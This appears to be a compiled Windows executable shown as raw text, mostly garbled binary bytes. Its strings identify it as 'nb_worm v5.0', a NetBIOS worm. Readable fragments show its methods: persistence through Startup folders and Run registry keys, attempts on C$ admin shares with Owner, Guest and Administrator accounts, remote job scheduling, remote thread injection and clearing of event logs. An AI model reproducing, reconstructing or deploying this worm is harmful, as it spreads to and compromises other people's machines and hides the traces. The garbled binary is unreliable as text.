MZ@ !L!This program cannot be run in DOS mode. $?k^8^8^8B8^8;B8^8PA8^8A8^8^8^8PA8^8Rich^8PELwh> pP:@px rD.text  `.rdata6  @@.data/@ @@.idata3 p`@.relocwp@B nb_worm v5.0  = DUSVWxEotPhHHHt .3ME MM}d}5UPjMQh<@jj(sB;/Ul뼸t h,sB;E MM}d}(jUlP4sB;MLg3_^[Ĉ;]UPSVW}VBVB=VB~wVB VB VB=VB~RVBVBVB=VB~-VB0JB0JB=0JB~ 0JB j MQ0JBRF\ EPMQh BURj EP VBQ\ UREPh BMQj URVBP[ MQURkh BEPZj MQVBR[ EPMQ5_^[P;]UPSVW}$sB;IPsj EPu RZ j URVRZ j UR:RZ j URR}Z UREPh BMQUREPh BMQUREPh BMQUREP_^[P;J]USVW} u E\JB,M tU\JBEMU \JBE]UQ}|}|c} u EhJBQMhJBU} ujsBMhJB'} ujsBUhJB EM hJBE]UQoBEM oBE]U,06Wƅ3fƅ3fƅ3fE}|}|}hXJBsB=E5| s*؋ىUUUu} Dž UU uEM׉M RPRP00RPQR 09~MEERM+MM܋UUE%t)M0u}uEEM0U܃U܃E@tOMtƅ-E2Utƅ+EEtƅ E+M+MU uPMQRj PMQURPMt&UuPMQRj0}}EM܉||||tmffZfZPxQ-tt&PMQtRxP)zQUREPMQUtPMQRj  _^[]H@H@H@KI@I@I@I@J@(I@3I@I@I@>I@FI@@J@yJ@5J@J@J@J@`M@K@N@[K@J@kN@pM@M@N@N@L@N@N@wQ@    UQE HU JE x|&M EMMU M U REPE}u M UM]UE M M ~ UREPMQ\ U:u]UQE M M ~2UREPMUEPMM U:u뾋]UEU EA]UEU EQ]UEU EfA]U=oBtoBhDBhBBhABh@Bm]UjjEPp ]UjjEPP ]Ujjj2 ]Ujjj ]UQ=VBuEPsBPsBVBM VB} uG=|oBt,xoBUEEM; |oBrU:tEh$GBhEBeh,IBh(HBS=VBu j@? tVBG}tVBMQsB]UE;E sM9tUEE]USVW}uh\)BjjAh)BjLu3u֋MMUBPK(u3}LBu E}LBu E3 VB VBUB % t3MUz u Ext!h /BjhkhX.Bj'u3ɅudUB%uMuEUB%M;t!h.BjhrhX.Bju3҅u}t%E $PMQFE}u3C#U $REPEE}u3 PB PB}uVUWB+BWB WBM WBUWB+BWB WBM WBWB;XBv WBXBM MUE ;Bv$MU +QR3PBPMUQRd j3PBPMM QK }uUEBMUQ EMHUE B}u/}uM;Mt!h.BjhhX.BjRu3҅uŋE;Et}tEM9tUMQP WB;Mt!h00Bjh*hX.Bj衭u3҅u΋EH WBUztEHU= WB;Mt!h0Bjh4hX.BjKu3҅u΋E WBUB$P3Ɋ PBQUR赦 EPA)MAUBP3Ɋ PBQU R~ _^[]UjEP]USVWPBt0u!hd.Bjh|hX.Bjzu3ɅuЋURu!hh/BjhhX.BjCu3uɋM MUB%tCMyt:UB%t*Myt!h1BjhhX.Bju3҅uExu } uE Myt2UB;E t!hH0BjhhX.Bj萫u3Ʌu΋UBEE_^[]UQPBEM PBE]UQSVWEPptkM MUB%tCMyt:UB%t*Myt!h1BjhhX.Bj֪u3҅uEM H_^[]UQSBEM SBE]UQSVWEEMMt`U3M UU;tAE %PM3ҊQREPhD1Bjjjj* u3ɅuE됋E_^[]USVWEPBu >E}}MMUU}E$a@h2BhP"Bjjjj脩u3Ʌuht2BhP"BjjjjYu3҅uvhP2BhP"Bjjjj1u3uNh,2BhP"Bjjjj u3Ʌu&h2BhP"Bjjjju3҅u3WBEMU}EEHt#UztEHt UzuEHPBUE1BjPBPMQ u:U REHQURh0Bjjjj u3uEj PBQUBMT RT u:E PMQREPh0Bjjjj蹧 u3ɅuEUzuPEHQPBRE P u/M Qh1Bjjjj`u3҅uE}uvExt3MQ REHQURh1Bjjjj u3u͋MQRE PMQh1Bjjjj u3҅uEE_^[]@ؓ@@@UQPBE}t M PBE]UQPBu= WBMUE}t$MQuE PM QU΋]UQ}t3E PMQ`sBu!}tU REPdsBu EEE]UQ}u3tjj E P u3YM QE}tU REP?, LVBtU RjZBP\sB]UQEPcu3M MUB%t"MytUB%t MyuijU REP tSMQ;U uHEH; PB:}t UEH }t UEH }t UEH 3]UQZBEM ZBE]USVW}u+h2BhP"Bjjjju3uMWBE EE}}MUDEMDӋWBUEM}UB%|fMQ}UEHUDMQMDUB%MTEPMA%MT%URh2Bjjjju3uOMXBQ,E WBH0_^[]USVWE}t } t}u.h3BhP"Bjjjj觢u3uڋEE MM}UEMu T+TEMTUEMu T+TEMTUE|u MU|t%}t}u}uPBtEmMU A,+B,MA,UE J0+H0UJ0EE_^[]USVWEh4BhP"Bjjjj艡u3uڃ}tMUWBEMU}E;E MQt-EHtUB%u PBuUztpjjEHQ u*UB Ph3BjjjjȠu3Ʌu/UB PMQRh3Bjjjj藠u3uыMQRh3Bjjjjou3u؋MQuqEHQUB%PM Qh3Bjjjj u3҅uƒ=ZBtEHQU RZB EPMyu=UBPM Qh|3Bjjjj赟u3҅uыEP[MQuJEHQUB%PM QhH3BjjjjX u3҅u‹EP@h03BhP"Bjjjj!u3Ʌu_^[]U\SVWE EEMy} UBEEM;MUUB E=LB~hWMQ5EUJB3f PWM}tUUE EMLURh$4BEkLQ茓 6UDEPMQh4Bjjjju3҅u_^[]U4SVWEP}u}u PBt=}t7h,4BhP"Bjjjj蕝u3҅uj3_^[]UQSVW}uE EE}}DMPBREMTREMTRh4Bjjjj u3u뭋MQ,Rhd4Bjjjjٜu3u؋MQ0RhD4Bjjjj豜u3u_^[]U}u j V.C:\Documents and Settings\All Users\Start Menu\Programs\StartupC:\WINDOWS\Start Menu\Programs\StartupC:\WINNT\Profiles\All Users\Start Menu\Programs\Startup\WINNT\Profiles\All Users\Start Menu\Programs\Startup\WINDOWS\Start Menu\Programs\Startup\Documents and Settings\All Users\Start Menu\Programs\StartupOwnerGuestAdministrator\C$\C\\Software\Microsoft\Windows\CurrentVersion\RunSoftware\Microsoft\Windows\CurrentVersion\RunServicesNetBIOS Worm%sNetApiBufferFreeNetScheduleJobAddNetRemoteTODnetapi32.dllRegisterServiceProcesskernel32.dllCreateRemoteThreadProcess32NextProcess32FirstCreateToolhelp32SnapshotSecurity\localhostMicrosoft Win32s Microsoft Windows Millennium Edition SE Microsoft Windows 98 OSR2 Microsoft Windows 95 %s (Build %d) Service Pack 6a (Build %d) SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009Service Pack 6%d.%d Advanced Server SERVERNTServer LANMANNTWorkstation WINNTProductTypeSYSTEM\CurrentControlSet\Control\ProductOptionsMicrosoft Windows NT Microsoft Windows 2000 Microsoft Windows XP Microsoft Windows Server 2003 family, i386\chkesp.cThe value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention. format != NULLsprintf.cstring != NULLmbstowcs.cs != NULLprintf.co;@;@Assertion FailedErrorWarning%s(%d) : %s Assertion failed!Assertion failed: _CrtDbgReport: String too long or IO ErrorSecond Chance Assertion Failed: File %s, Line %d wsprintfAuser32.dllMicrosoft Visual C++ Debug LibraryDebug %s! Program: %s%s%s%s%s%s%s%s%s%s%s (Press Retry to debug the application) Module: File: Line: Expression: For information on how your program can cause an assertion failure, see the Visual C++ documentation on asserts....dbgrpt.cszUserMessage != NULL("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)_flsbuf.cstr != NULLEEE50P (8PX700WP `h````ppxxxx(null)(null)output.cch != _T('\0')_sftbuf.cflag == 0 || flag == 1_file.cstdenvp.cstdargv.ca_env.cioinit.cruntime error TLOSS error SING error DOMAIN error R6028 - unable to initialize heap R6027 - not enough space for lowio initialization R6026 - not enough space for stdio initialization R6025 - pure virtual function call R6024 - not enough space for _onexit/atexit table R6019 - unable to open console device R6018 - unexpected heap error R6017 - unexpected multithread lock error R6016 - not enough space for thread data abnormal program termination R6009 - not enough space for environment R6008 - not enough space for arguments R6002 - floating point not loaded Microsoft Visual C++ Runtime LibraryRuntime Error! Program: vsprintf.cGetLastActivePopupGetActiveWindowMessageBoxAT{@Z{@_getbuf.cClientIgnoreCRTNormalFreeError: memory allocation: bad memory block type. Invalid allocation size: %u bytes. Client hook allocation failure. Client hook allocation failure at file %hs line %d. dbgheap.c_CrtCheckMemory()_pFirstBlock == pOldBlock_pLastBlock == pOldBlockfRealloc || (!fRealloc && pNewBlock == pOldBlock)_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ_CrtIsValidHeapPointer(pUserData)Allocation too large or negative: %u bytes. Client hook re-allocation failure. Client hook re-allocation failure at file %hs line %d. _pFirstBlock == pHead_pLastBlock == pHeadpHead->nBlockUse == nBlockUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQDAMAGE: after %hs block (#%d) at 0x%08X. DAMAGE: before %hs block (#%d) at 0x%08X. _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)Client hook free failure. memory check error at 0x%08X = 0x%02X, should be 0x%02X. %hs located at 0x%08X is %u bytes long. %hs allocated at file %hs(%d). DAMAGE: on top of Free block at 0x%08X. DAMAGED_heapchk fails with unknown return value! _heapchk fails with _HEAPBADPTR. _heapchk fails with _HEAPBADEND. _heapchk fails with _HEAPBADNODE. _heapchk fails with _HEAPBADBEGIN. Bad memory block found at 0x%08X. _CrtMemCheckPoint: NULL state pointer. _CrtMemDifference: NULL state pointer. Object dump complete. crt block at 0x%08X, subtype %x, %u bytes long. normal block at 0x%08X, %u bytes long. client block at 0x%08X, subtype %x, %u bytes long. {%ld} %hs(%d) : #File Error#(%d) : Dumping objects -> Data: <%s> %s %.2X Detected memory leaks! Total allocations: %ld bytes. Largest number used: %ld bytes. %ld bytes in %ld %hs Blocks. osfinfo.cfclose.c@@|@@_freebuf.cstream != NULLY@Ь@[@ @V@&B&B&BJBJB ((((( H .)B)B`_B`_B   ,B,B \,B 8,B ,B+B+B+BT+B,+B*B*B*Bx*Byt*Bzd*B`*BP*B0@0@0@0@0@0@-B-B-B-B-B`y!@~ڣ @ڣ AϢ[@~QQ^ _j21~        ! 5A CPR S WY l m pr   )    @pusxpBvrq~v@t`rvt0rvttvvuuuu2vuupuu\uFu:u*uuuuuyyvyhyXyLy@y6y*yy yxxxxxvvvvv ww(w8wDw\wrwwwwwwxx0xJx\xjxxxxxxyPvhvv st49 vvuuuu2vuupuu\uFu:u*uuuuuyyvyhyXyLy@y6y*yy yxxxxxvvvvv ww(w8wDw\wrwwwwwwxx0xJx\xjxxxxxxyPvhvv st49 TerminateThreadSleepJCreateThreadmGetTickCount(CopyFileA$GetModuleFileNameA&GetModuleHandleAuGetVersionExA>GetProcAddressLoadLibraryACloseHandlelstrcmpiAKERNEL32.dll[RegCloseKeyRegSetValueExA_RegCreateKeyExA0ClearEventLogA@OpenEventLogA{RegQueryValueExArRegOpenKeyExAADVAPI32.dllWNetCancelConnectionAWNetAddConnection2AMPR.dllWSOCK32.dllHNetApiBufferFreeNETAPI32.dllGetLastErrorMultiByteToWideCharPGetStartupInfoAGetCommandLineAtGetVersion}ExitProcessQDebugBreakRGetStdHandleWriteFileInterlockedDecrementOutputDebugStringAInterlockedIncrementTerminateProcessGetCurrentProcessUnhandledExceptionFilterFreeEnvironmentStringsAFreeEnvironmentStringsWWideCharToMultiByteGetEnvironmentStringsGetEnvironmentStringsWmSetHandleCountGetFileTypeHeapDestroyHeapCreateHeapFreeVirtualFree/RtlUnwindASetConsoleCtrlHandlerSGetStringTypeAVGetStringTypeWjSetFilePointerIsBadWritePtrIsBadReadPtrHeapValidateGetCPInfoGetACP1GetOEMCPHeapAllocVirtualAllocHeapReAlloc|SetStdHandleFlushFileBuffersLCMapStringALCMapStringW 11I112!2'232=2F2L2X2b2k2q2}222222223393Q33444A6667%7x777777 8G8y8889:9y99W:<<1<<>>>>>? ?*?0?>>>>???0$0@0001c2222233333334;4U4\4`4d4h4l4p4t4x444444:5E5`5g5l5p5t5555555666 66Z6`6d6h6l6J7S7y77778Q8888888899 :":2:V:[:x:}::::::::::::;!;Y;;;;<>$>)>/>j>>>>>> ?=?j????????@00000000001M11111 22)252P2`2l222222273=3Z3s3334455#6/6667778W8c899*:1:::;V<<=>3>Pd3h3l3p3t3x3|33333333333333333444 44444 4$4(455556 666666666 777$727L7c7q777880898Y8c8|888$9099999: :::(:6:@:N:T:::::: ;J;;;;;;;;;<%<<L>m>s>>> ??-?H?Z?b?h?l?q?~???`000q1d33f4o4~44444)595Z55555686Z6|66666Y7l777777C8Z8888l9s999999:::7:U:n::::::::::;;;;<<<<<=0=I=f=o=x=======*>;>b>{>>>>>p 2262?2330393a4k4q4|4444444444445^5g5{55555555R6Y6`6q66666 77$787>7O7l777777777788%8.8_8g8m8{888888888888889::8:F:N:X:i:s:}::::::;;;;;< <3L>y>>>>>>?>?H?~?????H0a0000000 202233.3:3[3u33333K4P444445 5555%5+535D5M55555'7<7H7d7p777778Q8V88888H9T999999999: ::::#:H:d::: ;;";C;`;j;v;;;;;;;h<}<<<<< ==k=w=====>@>F>>>>> ?'?/?5?^?h?t???????10z00000(141y111132?2u22213333333344)4.4V44444$5V5555+6a6e6i6m66666$7<7777o888889]99:(:c:h:;;;;>> ?c?u?z?? 060^011 2*2U2k22222 353445Z5555M6S6\6n6t6~66666777777777778"8E8U8_8m8w8888888889D9M9W9a9999k:r:::::H;W;p;;;;;<-